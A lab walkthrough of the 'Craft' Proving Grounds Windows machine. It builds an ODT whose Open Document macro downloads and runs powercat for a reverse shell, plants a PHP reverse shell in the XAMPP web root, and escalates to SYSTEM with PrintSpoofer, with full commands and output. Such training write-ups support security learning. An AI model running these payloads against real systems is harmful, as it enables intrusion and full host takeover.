the_open_door
coffee
ESEN

Craft

Proving Grounds PracticeMediumWindows192.168.123.169

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#file-upload#libreoffice-macro#odt#powercat#xampp#apache#printspoofer#seimpersonate#user-pivoting#rce#oscp
TL;DR. Craft only exposes port 80 with a form that accepts ODT files. We upload a LibreOffice document with a Basic macro bound to the Open Document event that auto-runs and gives a shell as craft\thecybergeek (macro RCE). Since that user can write to XAMPP's htdocs, we drop a PHP that the Apache server executes and pivot to craft\apache (file upload). That service account holds SeImpersonatePrivilege, so PrintSpoofer (PrintSpoofer, Potato family) takes us to nt authority\system.

Recon

Initial scan

TTL 125 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 125 = 128−3; a hint, not proof (it can be spoofed), confirmed by the service scan. The full sweep finds only one open port:

ping -c 1 192.168.123.169
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.123.169
PORT   STATE SERVICE
80/tcp open  http
nmap -p80 -sCV 192.168.123.169 -oN targetedScan
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 125

The whole attack surface is on 80. The service scan fails with the default ping (the machine isn't answering ICMP at that moment), but the port is alive: we go with web enumeration.

HTTP - TCP 80

We run dirsearch filtering out the useless status codes:

dirsearch -u http://192.168.123.169/ -t 200 --exclude-status=404,403,521,401,302,503
301  /js  ->  /js/
301  /assets  ->  /assets/
200  /cgi-bin/printenv.pl
200  /upload.php
200  /uploads/
301  /uploads  ->  /uploads/

There's an /upload.php and a listable /uploads/ directory. The upload + serve combo is the classic file-upload RCE pattern, so we dig in.

Exploitation

The form only accepts ODT

The "Join Us" page is a résumé upload form. The first instinct is to upload a PHP webshell:

Form "Join our Team, Submit your resume" with rev.php selected and the Upload button

But the form rejects it: it validates the file type and requires an ODT document (the LibreOffice/OpenOffice Writer format):

upload.php replies "File is not valid. Please submit ODT file"

Asking for an ODT changes the vector. LibreOffice documents can embed Basic macros, and a macro bound to the open event runs on whoever opens the document. If a process on the server opens the uploaded ODTs, a macro gives us command execution (macro RCE).

Building the weaponized ODT

We create an empty document and open it with LibreOffice Writer (the "Macros disabled" bar is just the default warning):

touch testt.odt
libreoffice testt.odt

Terminal creating testt.odt and LibreOffice Writer open with the "Macros disabled" bar

We open the macro editor via Tools > Macros > Edit Macros (the Organize Macros > Basic submenu):

LibreOffice Tools > Macros > Organize Macros > Basic menu

We create a new module inside the document itself (so it travels with the ODT):

Basic Macros dialog: the testt.odt document selected and the New button to create the module

And we write a Main routine that fires a reverse shell with powercat. The macro downloads powercat.ps1 in memory and opens the connection to our listener:

LibreOffice Basic editor with the macro: Sub Main / shell("cmd /c powershell IEX ... powercat -c 192.168.45.244 -p 135 -e powershell") / End Sub, in the command_injection module

Sub Main
    shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.244/powercat.ps1');powercat -c 192.168.45.244 -p 135 -e powershell")
End Sub

The piece that makes it auto-run is binding the macro to the Open Document event. The option is not where you would expect it: it does not hang off the macros submenu but off the bottom of the Tools menu, under Customize, the last entry before Options.

LibreOffice Writer's Tools menu open over testt.odt, with Customize highlighted at the end of the list, right below XML Filter Settings

Tools
  Spelling...                F7
  Macros                     >
  Development Tools
  XML Filter Settings...
  Customize...
  Options...                 Alt+F12

From there, in Customize > Events we assign our Main macro (under testt.odt > command_injection) to the Open Document event: so the moment the server opens the ODT, the macro fires with no interaction:

Customize > Events dialog: the "Open Document" event selected and the Macro Selector assigning testt.odt > command_injection > Main

Upload the ODT and catch a shell

We download powercat.ps1, serve it over HTTP and set an nc listener on 135:

wget https://raw.githubusercontent.com/besimorhino/powercat/refs/heads/master/powercat.ps1
python3 -m http.server 80
rlwrap nc -nlvp 135

Two terminals: python3 -m http.server 80 serving and rlwrap nc -nlvp 135 listening

We upload testt.odt through the form:

Upload form with testt.odt selected

When the server process opens the document, the macro downloads powercat (the GET /powercat.ps1 200 shows on the server) and connects back to our listener. We get a shell as craft\thecybergeek:

The http.server logs GET /powercat.ps1 200 and the 135 listener catches a PowerShell; whoami returns craft\thecybergeek

192.168.122.169 - - [18/Jan/2026 14:56:11] "GET /powercat.ps1 HTTP/1.1" 200 -
connect to [192.168.45.177] from (UNKNOWN) [192.168.122.169] 50077

PS C:\Program Files\LibreOffice\program> whoami
craft\thecybergeek

Post-exploitation

Local

type local.txt; ipconfig; whoami; hostname

local.txt read as craft\thecybergeek on the CRAFT host

577a248ea0686fac1d250145cee9e76a
craft\thecybergeek

Pivot to apache: webshell in XAMPP's htdocs

The thecybergeek user has no interesting privileges. Enumerating C:\Users we see an apache account, suggesting the web server runs under its own identity:

dir C:\Users showing Administrator, apache, Public and thecybergeek

At the root of the disk is the XAMPP install, and its tree includes htdocs:

dir C:\ showing the xampp folder, and dir C:\xampp with apache, htdocs, install...

C:\xampp\htdocs is the web root and is writable by our account. We list the directory and see the original upload.php next to uploads/:

dir of C:\xampp\htdocs showing assets, css, js, uploads, index.php and upload.php

If we drop a PHP there, the Apache process runs it under its own service account. For the PHP reverse shell we reach for revshells.com with the PHP Ivan Sincek template and port 445:

revshells.com "Reverse Shell Generator": PHP Ivan Sincek, OS Windows, listener sudo nc -lvnp 445, IP 192.168.45.244

We save the template as rev.php, pull it with certutil into htdocs and confirm it lands:

certutil.exe -f -urlcache http://192.168.45.244/rev.php rev.php

nano rev.php, certutil downloading rev.php to htdocs, "URLCache command completed successfully" and dir showing rev.php in C:\xampp\htdocs

Visiting http://192.168.123.169/rev.php the server runs the code and our listener catches the connection as craft\apache:

rev.php run from the browser; the listener on 445 catches a shell and whoami returns craft\apache

SOCKET: Shell has connected! PID: 684
Microsoft Windows [Version 10.0.17763.2029]

C:\xampp\htdocs>whoami
craft\apache

Privesc: SeImpersonate + PrintSpoofer

The apache service account does hold the privilege we were after:

whoami /priv

whoami /priv of craft\apache: SeImpersonatePrivilege and SeCreateGlobalPrivilege Enabled, Windows Server 2019 Standard

Privilege Name                Description                               State
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled

SeImpersonatePrivilege enabled is the Potato family entry: a service account with this privilege can impersonate the token of a SYSTEM process we coerce into connecting to a named pipe of ours (SeImpersonate abuse). On Server 2019, PrintSpoofer (repo) abuses the print spooler service to force that connection and usually works where JuicyPotato is already mitigated (PrintSpoofer). We serve it over HTTP and pull it:

locate printspoofer.exe; cp <path>/printspoofer.exe .
python3 -m http.server 8080

locate printspoofer.exe, cp to the current directory and python3 -m http.server 8080 serving

$ locate printspoofer.exe
/proving_grounds/nagoya/exploits/printspoofer.exe

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
certutil.exe -f -urlcache -split http://192.168.45.244:8080/printspoofer.exe printspoofer.exe
.\printspoofer.exe -i -c cmd

PrintSpoofer finds SeImpersonatePrivilege, leaves a named pipe listening, CreateProcessAsUser OK and the new shell returns nt authority\system

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

C:\Windows\system32>whoami
nt authority\system

Proof

type proof.txt & ipconfig & hostname & whoami

proof.txt read as nt authority\system on CRAFT (192.168.123.169)

d7ff8fe40201d014f2818bf9fc7e31d9
nt authority\system

Attack chain

HTTP (80)  --  /upload.php accepts only ODT (rejects PHP)
        │  Basic macro bound to "Open Document" in the ODT -> powercat
        ▼
shell as craft\thecybergeek  (local.txt)
        │  C:\xampp\htdocs writable -> rev.php run by Apache
        ▼
shell as craft\apache
        │  SeImpersonatePrivilege Enabled -> PrintSpoofer
        ▼
nt authority\system  (proof.txt)

Lessons learned

  • Validating the extension does not validate the content. The form rejected PHP and only accepted ODT, but an ODT is not harmless: it embeds macros that run when opened. Filtering by file type without considering what that type does leaves the door open.
  • Auto-execution lives in the event, not the macro. Writing the macro isn't enough; what weaponizes it is binding it to the Open Document event. That way the mere fact of the server opening the ODT fires the code with no interaction.
  • One host can hand out several identities. We went from thecybergeek to apache simply by dropping a file in htdocs that the web server runs under its own account. Writable paths served by a service are a classic pivot.
  • SeImpersonatePrivilege on service accounts = SYSTEM. Apache held it by design; PrintSpoofer turned it into full escalation. On Server 2019 it's the preferred variant over the already-mitigated JuicyPotato.
Command cheatsheet 12 commands

Quick review